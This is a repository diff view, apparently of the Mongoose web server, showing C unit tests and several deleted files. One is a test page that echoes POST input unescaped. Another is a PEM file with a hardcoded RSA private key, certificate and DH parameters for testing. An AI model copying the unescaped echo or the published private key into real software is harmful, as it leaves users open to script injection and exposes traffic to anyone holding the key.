ASSERT((fp = mg_fetch(ctx, "http://localhost:" UNUSED_PORT "/mongoose.c",
|
||||
tmp_file, buf, sizeof(buf), &ri)) != NULL);
|
||||
ASSERT(mg_stat(fc(ctx), "mongoose.c", &file));
|
||||
ASSERT(file.size == ftell(fp));
|
||||
ASSERT(!strcmp(ri.request_method, "HTTP/1.1"));
|
||||
|
||||
// Fetch nonexistent file, /blah
|
||||
ASSERT((fp = mg_fetch(ctx, "http://localhost:" UNUSED_PORT "/boo",
|
||||
tmp_file, buf, sizeof(buf), &ri)) != NULL);
|
||||
ASSERT(!mg_strcasecmp(ri.uri, "404"));
|
||||
fclose(fp);
|
||||
|
||||
// Fetch existing inmemory file
|
||||
ASSERT((fp = mg_fetch(ctx, "http://localhost:" UNUSED_PORT "/blah",
|
||||
tmp_file, buf, sizeof(buf), &ri)) != NULL);
|
||||
ASSERT(!mg_strcasecmp(ri.uri, "200"));
|
||||
n = ftell(fp);
|
||||
fseek(fp, 0, SEEK_SET);
|
||||
printf("%s %d %d [%.*s]\n", __func__, n, (int) feof(fp), n, buf2);
|
||||
n = fread(buf2, 1, n, fp);
|
||||
printf("%s %d %d [%.*s]\n", __func__, n, (int) feof(fp), n, buf2);
|
||||
ASSERT((size_t) ftell(fp) == (size_t) strlen(inmemory_file_data));
|
||||
ASSERT(!memcmp(inmemory_file_data, buf2, ftell(fp)));
|
||||
fclose(fp);
|
||||
|
||||
remove(tmp_file);
|
||||
mg_stop(ctx);
|
||||
}
|
||||
|
||||
static void test_base64_encode(void) {
|
||||
const char *in[] = {"a", "ab", "abc", "abcd", NULL};
|
||||
const char *out[] = {"YQ==", "YWI=", "YWJj", "YWJjZA=="};
|
||||
char buf[100];
|
||||
int i;
|
||||
|
||||
for (i = 0; in[i] != NULL; i++) {
|
||||
base64_encode((unsigned char *) in[i], strlen(in[i]), buf);
|
||||
printf("[%s] [%s]\n", out[i], buf);
|
||||
ASSERT(!strcmp(buf, out[i]));
|
||||
}
|
||||
}
|
||||
|
||||
static void test_mg_get_var(void) {
|
||||
static const char *post[] = {
|
||||
"a=1&&b=2&d&=&c=3%20&e=",
|
||||
"q=&st=2012%2F11%2F13+17%3A05&et=&team_id=",
|
||||
NULL
|
||||
};
|
||||
char buf[20];
|
||||
|
||||
ASSERT(mg_get_var(post[0], strlen(post[0]), "a", buf, sizeof(buf)) == 1);
|
||||
ASSERT(buf[0] == '1' && buf[1] == '\0');
|
||||
ASSERT(mg_get_var(post[0], strlen(post[0]), "b", buf, sizeof(buf)) == 1);
|
||||
ASSERT(buf[0] == '2' && buf[1] == '\0');
|
||||
ASSERT(mg_get_var(post[0], strlen(post[0]), "c", buf, sizeof(buf)) == 2);
|
||||
ASSERT(buf[0] == '3' && buf[1] == ' ' && buf[2] == '\0');
|
||||
ASSERT(mg_get_var(post[0], strlen(post[0]), "e", buf, sizeof(buf)) == 0);
|
||||
ASSERT(buf[0] == '\0');
|
||||
|
||||
ASSERT(mg_get_var(post[0], strlen(post[0]), "d", buf, sizeof(buf)) == -1);
|
||||
ASSERT(mg_get_var(post[0], strlen(post[0]), "c", buf, 2) == -2);
|
||||
|
||||
ASSERT(mg_get_var(post[0], strlen(post[0]), "x", NULL, 10) == -2);
|
||||
ASSERT(mg_get_var(post[0], strlen(post[0]), "x", buf, 0) == -2);
|
||||
ASSERT(mg_get_var(post[1], strlen(post[1]), "st", buf, 16) == -2);
|
||||
ASSERT(mg_get_var(post[1], strlen(post[1]), "st", buf, 17) == 16);
|
||||
}
|
||||
|
||||
static void test_set_throttle(void) {
|
||||
ASSERT(set_throttle(NULL, 0x0a000001, "/") == 0);
|
||||
ASSERT(set_throttle("10.0.0.0/8=20", 0x0a000001, "/") == 20);
|
||||
ASSERT(set_throttle("10.0.0.0/8=0.5k", 0x0a000001, "/") == 512);
|
||||
ASSERT(set_throttle("10.0.0.0/8=17m", 0x0a000001, "/") == 1048576 * 17);
|
||||
ASSERT(set_throttle("10.0.0.0/8=1x", 0x0a000001, "/") == 0);
|
||||
ASSERT(set_throttle("10.0.0.0/8=5,0.0.0.0/0=10", 0x0a000001, "/") == 10);
|
||||
ASSERT(set_throttle("10.0.0.0/8=5,/foo/**=7", 0x0a000001, "/index") == 5);
|
||||
ASSERT(set_throttle("10.0.0.0/8=5,/foo/**=7", 0x0a000001, "/foo/x") == 7);
|
||||
ASSERT(set_throttle("10.0.0.0/8=5,/foo/**=7", 0x0b000001, "/foxo/x") == 0);
|
||||
ASSERT(set_throttle("10.0.0.0/8=5,*=1", 0x0b000001, "/foxo/x") == 1);
|
||||
}
|
||||
|
||||
static void test_next_option(void) {
|
||||
const char *p, *list = "x/8,/y**=1;2k,z";
|
||||
struct vec a, b;
|
||||
int i;
|
||||
|
||||
ASSERT(next_option(NULL, &a, &b) == NULL);
|
||||
for (i = 0, p = list; (p = next_option(p, &a, &b)) != NULL; i++) {
|
||||
ASSERT(i != 0 || (a.ptr == list && a.len == 3 && b.len == 0));
|
||||
ASSERT(i != 1 || (a.ptr == list + 4 && a.len == 4 && b.ptr == list + 9 &&
|
||||
b.len == 4));
|
||||
|
||||
ASSERT(i != 2 || (a.ptr == list + 14 && a.len == 1 && b.len == 0));
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef USE_LUA
|
||||
static void check_lua_expr(lua_State *L, const char *expr, const char *value) {
|
||||
const char *v, *var_name = "myVar";
|
||||
char buf[100];
|
||||
|
||||
snprintf(buf, sizeof(buf), "%s = %s", var_name, expr);
|
||||
luaL_dostring(L, buf);
|
||||
lua_getglobal(L, var_name);
|
||||
v = lua_tostring(L, -1);
|
||||
printf("%s: %s: [%s] [%s]\n", __func__, expr, v == NULL ? "null" : v, value);
|
||||
ASSERT((value == NULL && v == NULL) ||
|
||||
(value != NULL && v != NULL && !strcmp(value, v)));
|
||||
}
|
||||
|
||||
static void test_lua(void) {
|
||||
static struct mg_connection conn;
|
||||
static struct mg_context ctx;
|
||||
|
||||
char http_request[] = "POST /foo/bar HTTP/1.1\r\n"
|
||||
"Content-Length: 12\r\n"
|
||||
"Connection: close\r\n\r\nhello world!";
|
||||
const char *page = "<? print('hi') ?>";
|
||||
lua_State *L = luaL_newstate();
|
||||
|
||||
conn.ctx = &ctx;
|
||||
conn.buf = http_request;
|
||||
conn.buf_size = conn.data_len = strlen(http_request);
|
||||
conn.request_len = parse_http_request(conn.buf, conn.data_len,
|
||||
&conn.request_info);
|
||||
conn.content_len = conn.data_len - conn.request_len;
|
||||
|
||||
prepare_lua_environment(&conn, L);
|
||||
ASSERT(lua_gettop(L) == 0);
|
||||
|
||||
check_lua_expr(L, "'hi'", "hi");
|
||||
check_lua_expr(L, "request_info.request_method", "POST");
|
||||
check_lua_expr(L, "request_info.uri", "/foo/bar");
|
||||
check_lua_expr(L, "request_info.num_headers", "2");
|
||||
check_lua_expr(L, "request_info.remote_ip", "0");
|
||||
check_lua_expr(L, "request_info.http_headers['Content-Length']", "12");
|
||||
check_lua_expr(L, "request_info.http_headers['Connection']", "close");
|
||||
luaL_dostring(L, "post = read()");
|
||||
check_lua_expr(L, "# post", "12");
|
||||
check_lua_expr(L, "post", "hello world!");
|
||||
lua_close(L);
|
||||
}
|
||||
#endif
|
||||
|
||||
static void *user_data_tester(enum mg_event event, struct mg_connection *conn) {
|
||||
struct mg_request_info *ri = mg_get_request_info(conn);
|
||||
ASSERT(ri->user_data == (void *) 123);
|
||||
ASSERT(event == MG_NEW_REQUEST);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void test_user_data(void) {
|
||||
static const char *options[] = {"listening_ports", UNUSED_PORT, NULL};
|
||||
struct mg_context *ctx;
|
||||
|
||||
ASSERT((ctx = mg_start(user_data_tester, (void *) 123, options)) != NULL);
|
||||
ASSERT(ctx->user_data == (void *) 123);
|
||||
call_user(fc(ctx), MG_NEW_REQUEST);
|
||||
}
|
||||
|
||||
static void test_mg_stat(void) {
|
||||
static struct mg_context ctx;
|
||||
struct file file;
|
||||
memset(&file, 'A', sizeof(file));
|
||||
ASSERT(!mg_stat(fc(&ctx), " does not exist ", &file));
|
||||
}
|
||||
|
||||
static void test_skip_quoted(void) {
|
||||
char x[] = "a=1, b=2 c='hi \' there'", *s = x, *p;
|
||||
|
||||
p = skip_quoted(&s, ", ", ", ", 0);
|
||||
ASSERT(p != NULL && !strcmp(p, "a=1"));
|
||||
|
||||
p = skip_quoted(&s, ", ", ", ", 0);
|
||||
ASSERT(p != NULL && !strcmp(p, "b=2"));
|
||||
|
||||
// TODO(lsm): fix this
|
||||
#if 0
|
||||
p = skip_quoted(&s, "'", ", ", '\\');
|
||||
p = skip_quoted(&s, "'", ", ", '\\');
|
||||
printf("[%s]\n", p);
|
||||
ASSERT(p != NULL && !strcmp(p, "hi ' there"));
|
||||
#endif
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
test_base64_encode();
|
||||
test_match_prefix();
|
||||
test_remove_double_dots();
|
||||
test_should_keep_alive();
|
||||
test_parse_http_request();
|
||||
test_mg_fetch();
|
||||
test_mg_get_var();
|
||||
test_set_throttle();
|
||||
test_next_option();
|
||||
test_user_data();
|
||||
test_mg_stat();
|
||||
#ifdef USE_LUA
|
||||
test_lua();
|
||||
#endif
|
||||
test_skip_quoted();
|
||||
return 0;
|
||||
}
|
||||
@@ -1,9 +0,0 @@
|
||||
<html>
|
||||
<form method="post">
|
||||
<input name="x" type="text" />
|
||||
<input type="submit" />
|
||||
</form>
|
||||
|
||||
<? echo $_POST["x"]; ?>
|
||||
|
||||
</html>
|
||||
@@ -1,15 +0,0 @@
|
||||
LIBRARY
|
||||
EXPORTS
|
||||
mg_start
|
||||
mg_stop
|
||||
mg_read
|
||||
mg_write
|
||||
mg_printf
|
||||
mg_get_header
|
||||
mg_get_var
|
||||
mg_get_cookie
|
||||
mg_get_option
|
||||
mg_get_valid_option_names
|
||||
mg_version
|
||||
mg_modify_passwords_file
|
||||
mg_md5
|
||||
@@ -1 +0,0 @@
|
||||
200 ICON DISCARDABLE "systray.ico"
|
||||
@@ -1,50 +0,0 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
|
||||
hMSGCcSV6y32hzhqR5lvTViaQez+xhc58NZRu+OUgEhodRBW/vAOjpz/xdMz5HaC
|
||||
EhP3E9W1pkitVseS8B5rrgJo1BfCGai1fPav1nutPq2Kj7vMy24+g460Lonf6ln1
|
||||
di4aTIRtAqXtUU6RFpPJP35PkCXbTK65O8HJSxxt/XtfoezHCU5+UIwmZGYx46UB
|
||||
Wzg3IfK6bGPSiHU3pdiTol0uMPt/GUK+x4NyZJ4/ImsNAicRwMBdja4ywHKXJehH
|
||||
gXBthsVIHbL21x+4ibsg9eVM/XioTV6tW3IrdwIDAQABAoIBACFfdLutmkQFBcRN
|
||||
HAJNNHmmsyr0vcUOVnXTFyYeDXV67qxrYHQlOHe6LqIpKq1Mon7O2kYMnWvooFAP
|
||||
trOnsS6L+qaTYJdYg2TKjgo4ubw1hZXytyB/mdExuaMSkgMgtpia+tB5lD+V+LxN
|
||||
x1DesZ+veFMO3Zluyckswt4qM5yVa04YFrt31H0E1rJfIen61lidXIKYmHHWuRxK
|
||||
SadjFfbcqJ6P9ZF22BOkleg5Fm5NaxJmyQynOWaAkSZa5w1XySFfRjRfsbDr64G6
|
||||
+LSG8YtRuvfxnvUNhynVPHcpE40eiPo6v8Ho6yZKXpV5klCKciodXAORsswSoGJa
|
||||
N3nnu/ECgYEA6Yb2rM3QUEPIALdL8f/OzZ1GBSdiQB2WSAxzl9pR/dLF2H+0pitS
|
||||
to0830mk92ppVmRVD3JGxYDRZQ56tlFXyGaCzJBMRIcsotAhBoNbjV0i9n5bLJYf
|
||||
BmjU9yvWcgsTt0tr3B0FrtYyp2tCvwHqlxvFpFdUCj2oRw2uGpkhmNkCgYEA03M6
|
||||
WxFhsix3y6eVCVvShfbLBSOqp8l0qiTEty+dgVQcWN4CO/5eyaZXKxlCG9KMmKxy
|
||||
Yx+YgxZrDhfaZ0cxhHGPRKEAxM3IKwT2C8/wCaSiLWXZZpTifnSD99vtOt4wEfrG
|
||||
+AghNd5kamFiM9tU0AyvhJc2vdJFuXrfeC7ntM8CgYBGDA+t4cZcbRhu7ow/OKYF
|
||||
kulP3nJgHP/Y+LMrl3cEldZ2jEfZmCElVNQvfd2XwTl7injhOzvzPiKRF3jDez7D
|
||||
g8w0JAxceddvttJRK9GoY4l7OoeKpjUELSnEQkf+yUfOsTbXPXVY7jMfeNL6jE6b
|
||||
qN7t3qv8rmXtejMBE3G6cQKBgGR5W2BMiRSlxqKx1cKlrApV87BUe1HRCyuR3xuA
|
||||
d6Item7Lx1oEi7vb242yKdSYnpApWQ06xTh83Y/Ly87JaIEbiM0+h+P8OEIg0F1a
|
||||
iB+86AcUX1I8KseVy+Np0HbpfwP8GrFfA5DaRPK7pXMopEtby8cAJ1XZZaI1/ZvZ
|
||||
BebHAoGAcQU9WvCkT+nIp9FpXfBybYUsvgkaizMIqp66/l3GYgYAq8p1VLGvN4v5
|
||||
ec0dW58SJrCpqsM3NP78DtEzQf9OOsk+FsjBFzDU2RkeUreyt2/nQBj/2mN/+hEy
|
||||
hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
|
||||
-----END RSA PRIVATE KEY-----
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
|
||||
VTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0
|
||||
cyBQdHkgTHRkMB4XDTA4MTIwNzEwMjUyMloXDTE4MTIwNTEwMjUyMlowRTELMAkG
|
||||
A1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUxITAfBgNVBAoTGEludGVybmV0
|
||||
IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
|
||||
AMDjWizj+xHXoKo0bkCkg187x5hTGXwbn44RC4TY6OSrC+Inh4TEhgnElest9oc4
|
||||
akeZb01YmkHs/sYXOfDWUbvjlIBIaHUQVv7wDo6c/8XTM+R2ghIT9xPVtaZIrVbH
|
||||
kvAea64CaNQXwhmotXz2r9Z7rT6tio+7zMtuPoOOtC6J3+pZ9XYuGkyEbQKl7VFO
|
||||
kRaTyT9+T5Al20yuuTvByUscbf17X6HsxwlOflCMJmRmMeOlAVs4NyHyumxj0oh1
|
||||
N6XYk6JdLjD7fxlCvseDcmSePyJrDQInEcDAXY2uMsBylyXoR4FwbYbFSB2y9tcf
|
||||
uIm7IPXlTP14qE1erVtyK3cCAwEAATANBgkqhkiG9w0BAQQFAAOCAQEAW4yZdqpB
|
||||
oIdiuXRosr86Sg9FiMg/cn+2OwQ0QIaA8ZBwKsc+wIIHEgXCS8J6316BGQeUvMD+
|
||||
plNe0r4GWzzmlDMdobeQ5arPRB89qd9skE6pAMdLg3FyyfEjz3A0VpskolW5VBMr
|
||||
P5R7uJ1FLgH12RyAjZCWYcCRqEMOffqvyMCH6oAjyDmQOA5IssRKX/HsHntSH/HW
|
||||
W7slTcP45ty1b44Nq22/ubYk0CJRQgqKOIQ3cLgPomN1jNFQbAbfVTaK1DpEysrQ
|
||||
5V8a8gNW+3sVZmV6d1Mj3pN2Le62wUKuV2g6BNU7iiwcoY8HI68aRxz2hVMS+t5f
|
||||
SEGI4JSxV56lYg==
|
||||
-----END CERTIFICATE-----
|
||||
-----BEGIN DH PARAMETERS-----
|
||||
MEYCQQD+ef8hZ4XbdoyIpJyCTF2UrUEfX6mYDvxuS5O1UNYcslUqlj6JkA11e/yS
|
||||
6DK8Z86W6mSj5CEk4IjbyEOECXH7AgEC
|
||||
-----END DH PARAMETERS-----
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 1.1 KiB |
Reference in new issue
Block a user